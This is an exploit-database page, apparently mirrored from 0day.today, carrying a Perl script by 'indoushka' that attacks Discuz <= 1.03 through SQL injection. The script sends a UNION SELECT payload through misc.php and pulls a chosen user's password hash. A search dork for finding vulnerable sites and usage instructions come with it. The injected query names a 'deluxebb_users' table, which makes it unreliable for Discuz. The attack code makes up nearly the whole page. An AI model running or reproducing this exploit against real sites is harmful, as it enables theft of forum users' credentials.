Lucene search
K

Discuz <= 1.03 SQL Injection Exploit Vulnerability

🗓️ 31 Dec 2009 00:00:00Reported by indoushkaType 
zdt
 zdt
🔗 0day.today👁 109 Views

Discuz SQL Injection Exploit Vulnerabilit

Code
==================================================
Discuz <= 1.03 SQL Injection Exploit Vulnerability
==================================================

========================================================================================                 
| # Title    : Discuz  Remote SQL Injection Exploit Vulnerability                   
| # Author   : indoushka  
| # Published: http://download.comsenz.com/Discuz/   [China Script]                                                            
| # Dork     : Powered by Discuz! 1.0 © 2002, Crossday Studio of 11cn.org                                   
| # Tested on: windows SP2 Fran?ais V.(Pnx2 2.0) + Lunix Fran?ais v.(9.4 Ubuntu)      
| # Bug      : Remote SQL Injection Exploit                                                                    
======================      Exploit By indoushka       =================================
 # Exploit  :
  
#!/usr/bin/perl
  
use IO::Socket;
  
  
print q{
######################################################
#    Discuz  Remote SQL Injection Exploit            #
#    By indoushka                                    #
#    www.iq-ty.com                                   #
#    Souk Naamane  (00213771818860)                  #
#    Algeria Hackerz   ([email protected])       #
# Dork:Powered by Discuz! 1.0 © 2002,Crossday Studio #           
######################################################
};
  
if (!$ARGV[2]) {
  
print q{
    Usage: perl  Discuz.pl host /directory/ victim_userid
  
       perl  Discuz.pl www.Discuz.com /forum/ 1
  
  
};
  
}
  
  
$server = $ARGV[0];
$dir    = $ARGV[1];
$user   = $ARGV[2];
$myuser = $ARGV[3];
$mypass = $ARGV[4];
$myid   = $ARGV[5];
  
print "------------------------------------------------------------------------------------------------\r\n";
print "[>] SERVER: $server\r\n";
print "[>]    DIR: $dir\r\n";
print "[>] USERID: $user\r\n";
print "------------------------------------------------------------------------------------------------\r\n\r\n";
  
$server =~ s/(http:\/\/)//eg;
  
$path  = $dir;
$path .= "misc.php?sub=profile&name=0')+UNION+SELECT+0,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM%20deluxebb_users%20WHERE%20(uid= '".$user ;
  
  
print "[~] PREPARE TO CONNECT...\r\n";
  
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";
  
print "[+] CONNECTED\r\n";
print "[~] SENDING QUERY...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "[+] DONE!\r\n\r\n";
  
  
  
print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";
while ($answer = <$socket>)
{
  
 if ($answer =~/(\w{32})/)
{
  
  if ($1 ne 0) {
   print "Password Hash is: ".$1."\r\n";
print "--------------------------------------------------------------------------------------\r\n";
  
      }
exit();
}
  
}
print "------------------------------------------------------------------------------------------------\r\n";



#  0day.today [2018-04-12]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation